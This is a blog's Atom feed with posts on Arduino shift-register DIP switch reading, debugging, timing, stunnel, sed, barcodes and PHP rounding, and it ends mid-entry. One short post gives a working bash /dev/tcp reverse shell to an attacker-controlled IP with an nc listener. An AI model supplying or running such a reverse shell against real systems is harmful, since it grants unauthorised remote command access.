<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5180537534218153400</id><updated>2012-01-20T23:18:23.034-06:00</updated><title type='text'>Kludge R Us</title><subtitle type='html'>Exploring the kludges that run everyday life</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-4676654983113452430</id><published>2012-01-18T16:33:00.001-06:00</published><updated>2012-01-18T16:37:53.113-06:00</updated><title type='text'>Arduino DIP Switches and Binary</title><content type='html'>I'm working on an Arduino project to read in some DIP switches to set a starting address. I'm using 8 bits for the address (0-255), and using an 8 switch DIP array. One way to read the switch settings would be to simply hook up each switch to an input pin on the Arduino, but that is very wasteful. After some research, I ran across the 74165 (or more modern, 74HC165) chip. This is a Parallel In/Serial Out (PISO) chip. Or more simply, takes in an input (like a switch) and outputs a shifted bit stream of the values (e.g. 1 or 0). Even more simply put, if you have a bank of switches set ON OFF OFF ON ON hooked up to the inputs, it would output a but stream of 10011 (or reversed, depending on the order the switches are connected to the 74165 inputs). Soooo, only one input pin is needed on the Arduino to read up to 8 switches (or more if you cascade multiple 74165's). Well, you actually need a few more pins on the Arduino, but as outputs. That's because the 74165 also needs CLOCK and SHIFT/LOAD to trigger the reading and bit shifting the the inputs.&lt;br /&gt;&lt;br /&gt;With this cool little chip, you simply connect as follows:&lt;br /&gt;1 (Shift/Load) -&gt; Arduino #13&lt;br /&gt;2 (Clock) -&gt; Arduino #12&lt;br /&gt;3-6, 11-14 (Inputs) -&gt; DIP Switches&lt;br /&gt;8 (GND) - Ground&lt;br /&gt;9 (DATA) -&gt; Arduino 11&lt;br /&gt;15 (Clock INHB) -&gt; Ground&lt;br /&gt;16 (Vcc) -&gt; Power +5v&lt;br /&gt;&lt;br /&gt;For the DIP switches:&lt;br /&gt;GND -&gt; 10k resistor -&gt; DIP -&gt; 74165 A pin&lt;br /&gt;GND -&gt; 10k resistor -&gt; DIP -&gt; 74165 B pin&lt;br /&gt;...&lt;br /&gt;GND -&gt; 10k resistor -&gt; DIP -&gt; 74165 H pin&lt;br /&gt;&lt;br /&gt;As for the actual code, I started with the example at http://wardyprojects.blogspot.com/2011/05/74hc165-piso-shift-register-arduino.html (great blog, BTW). Because of the way my switches were labeled and being read, switch ON was being interpretted as OFF in the code. Never fear! A little bitwise NOT was in order.&lt;br /&gt;&lt;br /&gt;- Keep recording the input into a byte until all 8 'bits' (or rather, inputs) have been read.:&lt;br /&gt;byte dip;  &lt;br /&gt;'loop through 8 times' {&lt;br /&gt;digitalWrite(PIN_CP, HIGH);&lt;br /&gt;digitalWrite(PIN_CP, LOW);&lt;br /&gt;// Keep stuffing the input value in as a bit, shifting along the way&lt;br /&gt;// In the end, 'dip' will be a binary representation of the switch on/off&lt;br /&gt;dip = (dip &lt;&lt; 1) | digitalRead(PIN_Q7); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- Now, simply NOT dip: dip = ~dip;&lt;br /&gt;&lt;br /&gt;In my application, I need a starting address of at least 1. If all the switches are 'OFF', the Arduino reads 0. I can either force myself to always set a switch ON, or I can be a nice and assume that all off really means default, or 1.&lt;br /&gt;if(dip == 0) dip=1;&lt;br /&gt;&lt;br /&gt;Since I'm tired of writing this, I hope you get the idea. Below is the full source of what I'm talking about (along with the usage of my dynamic DEBUG() routine).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define DEBUGPIN 2&lt;br /&gt;int START_DMX_ADDR=1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int DEBUG(){&lt;br /&gt;return(digitalRead(DEBUGPIN));&lt;br /&gt;} // End DEBUG()&lt;br /&gt;&lt;br /&gt;void read_dip(){&lt;br /&gt;// From http://wardyprojects.blogspot.com/2011/05/74hc165-piso-shift-register-arduino.html&lt;br /&gt;//The terminology used here (PL, CP, Q7 and so on) are taken DIRECTLY from the 74HC165's datasheet.&lt;br /&gt;#define PIN_PL (13) //pin 13 on arduino goes to pin 1 of 74HC165&lt;br /&gt;#define PIN_CP (12) //pin 12 on arduino goes to pin 2 of 74HC165&lt;br /&gt;#define PIN_Q7 (11) //pin 11 on arduino goes to pin 9 of 74HC165&lt;br /&gt;//Hardwire pin 15 of both 74HC165 chips to ground to enable them all the time.&lt;br /&gt;&lt;br /&gt;//For peace of mind I also hardwired pin 10 of the upstream chip to&lt;br /&gt;//GND to force zeroes to be shifted in instead of allowing it to float.&lt;br /&gt;//Given that the arduino is "downstream".&lt;br /&gt;&lt;br /&gt;pinMode(PIN_PL, OUTPUT);&lt;br /&gt;pinMode(PIN_CP, OUTPUT);&lt;br /&gt;pinMode(PIN_Q7, INPUT);&lt;br /&gt;&lt;br /&gt;digitalWrite(PIN_PL, HIGH);&lt;br /&gt;digitalWrite(PIN_CP, LOW);&lt;br /&gt;&lt;br /&gt;int i;&lt;br /&gt;int j;&lt;br /&gt;int value;&lt;br /&gt;byte dip;&lt;br /&gt;&lt;br /&gt;//read the switches 10 times to prove&lt;br /&gt;//that the system is stable&lt;br /&gt;for(i = 0 ; i &lt; 11 ; i++)&lt;br /&gt;{&lt;br /&gt;//load logic bits from the DIP switches&lt;br /&gt;digitalWrite(PIN_PL, LOW);  //LOAD BITS&lt;br /&gt;//reset "load" line, this freezes the internal buffer on both chips&lt;br /&gt;digitalWrite(PIN_PL, HIGH);&lt;br /&gt;&lt;br /&gt;for(j = 0 ; j &lt; 8 ; j++)&lt;br /&gt;{&lt;br /&gt;value = digitalRead(PIN_Q7);&lt;br /&gt;//read next "switch"&lt;br /&gt;digitalWrite(PIN_CP, HIGH);&lt;br /&gt;digitalWrite(PIN_CP, LOW);&lt;br /&gt;&lt;br /&gt;//print switch's value&lt;br /&gt;if(DEBUG())&lt;br /&gt;Serial.print(value);&lt;br /&gt;&lt;br /&gt;// Fill the values as 'bits'    &lt;br /&gt;dip = (dip &lt;&lt; 1) | value;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(DEBUG()){&lt;br /&gt;Serial.println("");    &lt;br /&gt;Serial.println("----------------");&lt;br /&gt;}&lt;br /&gt;// Slight delay to let things settle down&lt;br /&gt;delay(200);&lt;br /&gt;}   &lt;br /&gt;// NOT the switch since it comes in as&lt;br /&gt;// 11111110 instead of 00000001 (for value 1)&lt;br /&gt;dip = ~dip;&lt;br /&gt;&lt;br /&gt;// If the idiot didn't set a start address, assume 1&lt;br /&gt;if(dip == 0) dip=1;&lt;br /&gt;&lt;br /&gt;START_DMX_ADDR = dip;&lt;br /&gt;if(DEBUG()){&lt;br /&gt;Serial.print("DIP BIN Value: ");&lt;br /&gt;Serial.println(START_DMX_ADDR);&lt;br /&gt;}&lt;br /&gt;} // End read_dip() &lt;br /&gt;&lt;br /&gt;void setup() &lt;br /&gt;{&lt;br /&gt;Serial.begin(9600);&lt;br /&gt;digitalWrite(DEBUGPIN, LOW);&lt;br /&gt;read_dip();&lt;br /&gt;} // End setup()&lt;br /&gt;&lt;br /&gt;void loop()&lt;br /&gt;{&lt;br /&gt;} // End loop()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-4676654983113452430?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/4676654983113452430/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=4676654983113452430' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4676654983113452430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4676654983113452430'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2012/01/arduino-dip-switches-and-binary.html' title='Arduino DIP Switches and Binary'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-6870027311064488445</id><published>2011-04-12T15:39:00.000-05:00</published><updated>2011-04-12T15:39:03.457-05:00</updated><title type='text'>Arduino Debug</title><content type='html'>One of the great benefits of an Arduino is that of the serial debugger. It is very easy to print out items to the serial console. However, if you go overboard with printing to the serial console (such as printing execution step info in a loop or constant polling of an input), you may incur problems when trying to upload a new sketch (especially on Unix) due to the serial interface being overrun. There are multiple fixes, including some patches in the bootloader (which didn't work for me), racing a sketch upload during a board reset, etc, but I found a simple way to enable or disable the printing easily.&lt;br /&gt;&lt;br /&gt;First of all, instead of using a #define DEBUG [0|1], I instead declare a DEBUGPIN variable or #define then create a simple function:&lt;br /&gt;&lt;br /&gt;int DEBUGPIN=2;&lt;br /&gt;int DEBUG(){&lt;br /&gt;  return(digitalRead(DEBUGPIN));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Now, where ever I want to display debug info, I do something like:&lt;br /&gt;if(DEBUG()){&lt;br /&gt;    Serial.print("potSpeedVal: ");&lt;br /&gt;    Serial.println(potSpeedVal, DEC);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Now, if I want to output to the serial console, I simply put on a jumper on the defined DEBUGPIN. If I no longer need the debug output, I remove the jumper. This way, the sketch doesn't need to continuously try to output serial console data when it isn't needed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-6870027311064488445?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/6870027311064488445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=6870027311064488445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/6870027311064488445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/6870027311064488445'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2011/04/arduino-debug.html' title='Arduino Debug'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-8510690698427590446</id><published>2011-04-12T15:31:00.000-05:00</published><updated>2011-04-12T15:31:29.574-05:00</updated><title type='text'>Arduino 'timer'</title><content type='html'>I am new to Arduino, and am loving it. Many times you need to inject a pause in your sketch (like to flash a LED for a certain period of time). Using the delay() function cause your entire sketch to 'freeze' until the delay value expires. This can cause issues like needing to continuously read an input source like a trimmer pot. To get around this, I found a good example on the net on using the millis() and have incorporated it into my sketches. Below is my slightly modified version:&lt;br /&gt;&lt;br /&gt;// Set a speed interval in mS&lt;br /&gt;unsigned long SpeedInterval = 1000;&lt;br /&gt;// Get the current timestamp&lt;br /&gt;unsigned long currentMillis = millis();&lt;br /&gt;// Set a timestamp mark&lt;br /&gt;previousMillis = currentMillis; &lt;br /&gt;// Keep looking until more milliseconds have passed&lt;br /&gt;// than the desired interval&lt;br /&gt;// This is a better way instead of using delay()&lt;br /&gt;// since delay() halts execution and this method&lt;br /&gt;// allows for continued processing&lt;br /&gt;while((currentMillis - previousMillis) &lt; SpeedInterval){&lt;br /&gt;    // Set a timestamp&lt;br /&gt;     currentMillis = millis();&lt;br /&gt;     // Do stuff in the loop like:&lt;br /&gt;     // potSpeedVal = analogRead(potSpeedPin);&lt;br /&gt;     // digitalWrite(outPins[n], LOW);&lt;br /&gt;     // whatever you like to be executed during this time period&lt;br /&gt;  }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-8510690698427590446?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/8510690698427590446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=8510690698427590446' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/8510690698427590446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/8510690698427590446'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2011/04/arduino-timer.html' title='Arduino &apos;timer&apos;'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-1006841153845155783</id><published>2010-09-01T11:14:00.000-05:00</published><updated>2010-09-01T11:14:23.813-05:00</updated><title type='text'>HTTPS-&gt;HTTP</title><content type='html'>While doing a vuln assessment/pen test, I needed a way to launch a tool designed for HTTP connections against a HTTPS (SSL) web site. I looked at a few lightweight proxy tools and considered configuring mod_proxy, but since this was a defined point-to-point connection, stunnel worked just fine:&lt;br /&gt;&lt;br /&gt;stunnel -f -c -d &lt;listen port&gt; -r &lt;remote ip&gt;:&lt;remote port&gt;&lt;br /&gt;&lt;br /&gt;Flags:&lt;br /&gt;  -f = Foreground mode&lt;br /&gt;  -c = Client mode (used to negotiate SSL from a server)&lt;br /&gt;  -d = Accept connections on the following [IP]:port&lt;br /&gt;  -r = Connect to remote ip:port&lt;br /&gt;&lt;br /&gt;After this was executed, I simply connected to localhost:80 via non-SSL and stunnel automagically established a SSL session to the remote web server, allowing me to test/inject into the web stream just as I would with non-SSL connections.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-1006841153845155783?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/1006841153845155783/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=1006841153845155783' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/1006841153845155783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/1006841153845155783'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2010/09/https-http.html' title='HTTPS-&gt;HTTP'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-5322334845551347618</id><published>2010-09-01T10:52:00.000-05:00</published><updated>2010-09-01T10:51:40.959-05:00</updated><title type='text'>Need a reverse shell? No netcat? Easy!</title><content type='html'>I was dinking around on a system without netcat installed and wanted to&lt;br&gt;get a shell instead of pushing commands through a script of parameter&lt;br&gt;overflow. Thinking about the problem, and using the tried and true&lt;br&gt;/dev/tcp device, I stitched together the following (probably not the first):&lt;br&gt;On your system:&lt;br&gt;nc -l 4444&lt;p&gt;On remote system:&lt;br&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/your IP/4444&lt;br&gt;cat &amp;lt;&amp;amp;3| /bin/sh &amp;gt;&amp;amp;3&lt;p&gt;Instant reverse shell! No root required if using unprivileged ports.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-5322334845551347618?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/5322334845551347618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=5322334845551347618' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/5322334845551347618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/5322334845551347618'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2010/09/need-reverse-shell-no-netcat-easy.html' title='Need a reverse shell? No netcat? Easy!'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-8198233521795910185</id><published>2008-09-02T19:58:00.000-05:00</published><updated>2008-09-02T19:58:51.842-05:00</updated><title type='text'>Official Google Blog: A fresh take on the browser</title><content type='html'>&lt;a href="http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html"&gt;Official Google Blog: A fresh take on the browser&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-8198233521795910185?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html' title='Official Google Blog: A fresh take on the browser'/><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/8198233521795910185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=8198233521795910185' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/8198233521795910185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/8198233521795910185'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/09/official-google-blog-fresh-take-on.html' title='Official Google Blog: A fresh take on the browser'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-5657309230786992580</id><published>2008-08-21T13:59:00.002-05:00</published><updated>2008-08-21T14:15:31.804-05:00</updated><title type='text'>Circular saw guide &amp; easy grid</title><content type='html'>I recently had to square up a piece of plywood for a project and drill a bunch of aligned holes to insert C9 light bulbs. Now, I am a computer geek, not a carpenter. Needless to say, I cannot draw a straight line without a mouse, and forget about cutting straight. So first, I had to square up a piece of plywood to a size of 32"x36". I do have a table saw, but it has a ton of stuff piled on it. I also have a 18 volt circular saw, but I'm sure my final size would be (32-30")x(36-37"). Looking again at my table saw, I figured it would be worth the effort to dig it out to use the guide fence. Unfortunately, my table is not large enough to provide a good straight guide for the cuts. Luckily, I had a very straight piece of wood. I carefully measured (both with a tape measure and with the shoe of the saw) the width between the saw blade and end of the shoe on my 18 volt saw. I then clamped down the board and there you go, instant guide! &lt;br /&gt;&lt;br /&gt;Next, I had to plan on drilling a grid of 9x10 for C9 light bulbs. The old me would just start drilling and hope for the best. Not this time! I carefully (well, almost carefully - I did re-use previously discarded measurements accidentally) marked off the spacing for the bulb sockets (3" spacing) and added a 2" header and a 4" footer. I then tried my chalk line to make nice straight lines, but that just left a blurry mess. My 4 foot T-square was buried (see the theme here?), and my straight edges were not long enough. Behold, the board I used as the saw guide to the rescue! Using the board, I lined up the markings and drew the vertical axis, then the horizontal axis. I now had a grid full of 3" square boxes. Using a spade bit, I drilled at every horizontal/vertical intersection and when done, had a nice array of holes all lined up. The best part is it only took about 45 minutes total.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vGpHXe6jD-0/SK2-ydGhW_I/AAAAAAAAAB4/92jWOZlzsfE/s1600-h/IMG_1555.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_vGpHXe6jD-0/SK2-ydGhW_I/AAAAAAAAAB4/92jWOZlzsfE/s400/IMG_1555.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5237051715716471794" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-5657309230786992580?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/5657309230786992580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=5657309230786992580' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/5657309230786992580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/5657309230786992580'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/08/circular-saw-guide-easy-grid.html' title='Circular saw guide &amp; easy grid'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vGpHXe6jD-0/SK2-ydGhW_I/AAAAAAAAAB4/92jWOZlzsfE/s72-c/IMG_1555.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-2440396801395228834</id><published>2008-07-01T19:03:00.004-05:00</published><updated>2008-07-07T13:17:49.085-05:00</updated><title type='text'>Rounding up</title><content type='html'>Quick and dirty PHP code to round up to the nearest multiple of 10 (at least 10 over the current value). This is handy when creating metrics and graphs where you want to 'trick' the viewer that a bar is not really as high as it appears without having to set a hard upper limit in a chart (e.g. If you chart value is 2, generate a bar of 2 on a scale of 0-10).&lt;br /&gt;$val='some number';&lt;br /&gt;$r=round($val/10)*10+10;&lt;br /&gt;&lt;br /&gt;So:&lt;br /&gt;$val=1;&lt;br /&gt;$r=round($val/10)*10+10;&lt;br /&gt;$r is 10&lt;br /&gt;&lt;br /&gt;$val=11;&lt;br /&gt;$r=round($val/10)*10+10;&lt;br /&gt;$r is 20&lt;br /&gt;&lt;br /&gt;$val=6;&lt;br /&gt;$r=round($val/10)*10+10;&lt;br /&gt;$r is 20&lt;br /&gt;&lt;br /&gt;$val=55;&lt;br /&gt;$r=round($val/10)*10+10;&lt;br /&gt;$r is 70&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJdo0ZmeoI/AAAAAAAAABo/rQXLlzAtY8c/s1600-h/chart1.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJdo0ZmeoI/AAAAAAAAABo/rQXLlzAtY8c/s320/chart1.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5220337873917999746" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vGpHXe6jD-0/SHJdvfAaRgI/AAAAAAAAABw/k1SsLrEhuqA/s1600-h/chart2.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_vGpHXe6jD-0/SHJdvfAaRgI/AAAAAAAAABw/k1SsLrEhuqA/s320/chart2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5220337988434281986" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-2440396801395228834?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/2440396801395228834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=2440396801395228834' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/2440396801395228834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/2440396801395228834'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/07/rounding-up.html' title='Rounding up'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJdo0ZmeoI/AAAAAAAAABo/rQXLlzAtY8c/s72-c/chart1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-2833695504015638340</id><published>2008-06-29T19:38:00.004-05:00</published><updated>2008-07-07T13:08:27.065-05:00</updated><title type='text'>Creating barcodes</title><content type='html'>Barcodes are not really a mystery. There is nothing special in the printing/ink/formating, but rather are simply a set scheme for how black bars are formatted. A barcode reader simply scans the code and measures the black/color separations. You can easily print your own barcodes at home! All you need is a barcode font for the encoding scheme you wish to use. The most popular is the 3of9 barcode format. Do a google search to find a free (or pay for one, if you wish) 3of9 barcode font, load it up and start typing! Print it out and you have your very own barcode!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJbjDatO7I/AAAAAAAAABY/ot7mYpQTzwA/s1600-h/barcode.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJbjDatO7I/AAAAAAAAABY/ot7mYpQTzwA/s400/barcode.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5220335575846697906" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-2833695504015638340?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/2833695504015638340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=2833695504015638340' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/2833695504015638340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/2833695504015638340'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/creating-barcodes.html' title='Creating barcodes'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vGpHXe6jD-0/SHJbjDatO7I/AAAAAAAAABY/ot7mYpQTzwA/s72-c/barcode.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-4782240051476378763</id><published>2008-06-29T19:35:00.003-05:00</published><updated>2008-06-29T19:36:51.289-05:00</updated><title type='text'>Removing spaces using sed</title><content type='html'>Many times when working with files, you need to reformat them to more easily parse with cut, etc. Often, these files may have multiple/variable spaces between fields. This quick sed line will convert multiple spaces to a single space:&lt;br /&gt;sed 's/  */ /g;'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-4782240051476378763?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/4782240051476378763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=4782240051476378763' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4782240051476378763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4782240051476378763'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/removing-spaces-using-sed.html' title='Removing spaces using sed'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 